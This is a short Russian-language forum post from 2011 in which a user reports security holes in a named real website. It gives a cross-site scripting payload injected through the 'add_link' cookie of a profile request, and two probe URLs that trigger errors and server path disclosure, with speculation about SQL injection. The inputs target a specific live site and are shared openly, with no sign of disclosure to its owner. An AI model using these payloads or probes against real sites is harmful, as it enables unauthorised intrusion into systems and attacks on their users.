Показать сообщение отдельно
Старый 05.10.2011, 18:57   #31
AKYLA
 
Регистрация: 04.10.2011
Сообщений: 2
Репутация: 0
По умолчанию

При Пост запросе /users/profile/
Уязвим параметр куки add_link
Цитата:
add_link=134"/><script>alert(204389)</script>;
Вылазят ошибки и раскрытие путей, по поводу скули не знаю, крутиться или нет
Цитата:
http://cph.su/scripts/girls/girls_go.php?type='
http://cph.su/index.php?name%5B%5D=1
AKYLA вне форума   Ответить с цитированием